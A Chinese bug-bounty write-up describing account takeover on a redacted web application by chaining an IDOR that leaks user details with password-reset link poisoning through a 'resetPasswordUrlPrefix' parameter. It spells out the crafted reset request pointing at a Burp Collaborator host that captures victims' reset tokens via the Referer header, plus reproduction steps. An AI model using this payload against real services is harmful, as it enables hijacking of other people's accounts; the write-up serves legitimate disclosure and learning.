密码重置链接投毒、IDOR、信息泄露多个漏洞组合实现账户接管

在挖掘目标 Web 应用程序漏洞时,一项有用的检查是通过waybackmachine:https://archive.org/web/来发现目标上一段时间内存在的 URL。这些可能会暴露关键功能,然后可以测试这些功能是否存在错误。我正在寻找的一个漏洞赏金目标恰好就是这种情况。

用户可以通过以下端点重置其帐户密码。https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com

在进行信息收集时,我喜欢使用工具waybackurls:https://github.com/tomnomnom/waybackurls 自动执行查找 URL 的过程。搜索该工具的结果发现了密码重置端点的替代版本,其中包含一个有趣的参数(resetPasswordUrlPrefix)。

https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https%3A%2F%web.archive.org%2Fsave%2F_embed%2Fhttps%3A%2F%2Faccounts.redacted.com%2Fmember%2Freset-password

另外值得注意的是,/v3/users/ 端点上没有访问控制,允许任何用户通过简单地更改请求中的email或handler参数来检索属于另一个用户的信息。(这两个参数可以互换)。

图片

API端点泄露用户handle、email、ID、名字、姓氏

因此,在尝试弄清楚resetPasswordUrlPrefix参数的用法时,我想到了一个想法。如果我在重置帐户密码时从 burpcollaborator 中获取payload填入会怎么样?

https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password

发送请求后,我的 burpcollaborator 客户端中出现一些 DNS 和 HTTP 记录,密码重置令牌在header中的referer字段泄漏了。这些信息足以进行概念验证,因此是时候撰写报告了。

图片

密码重置令牌在referer中泄露

我通过以下步骤展示漏洞利用过程;

在该程序上注册两个帐户进行测试,然后登录一个帐户。

向受影响的端点发出请求,将email或handle替换为受害者帐户的email或handle。

https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password

受害者帐户将收到带有攻击者域前缀的密码重置链接。

图片

受害者帐户收到嵌入攻击者控制域的恶意链接

一旦受害者点击恶意链接,攻击者将收到对其域的请求,其中受害者的密码重置令牌在referer中可见。

攻击者在网页浏览器中加载密码重置链接,并为受害者账户设置新密码——完成账户接管。

更多网络安全优质免费学习资料与干货教程加

送渗透工具、技术文档、书籍,面试题、视频(基础到进阶。环境搭建,HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等)、应急响应笔记、学习路线。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值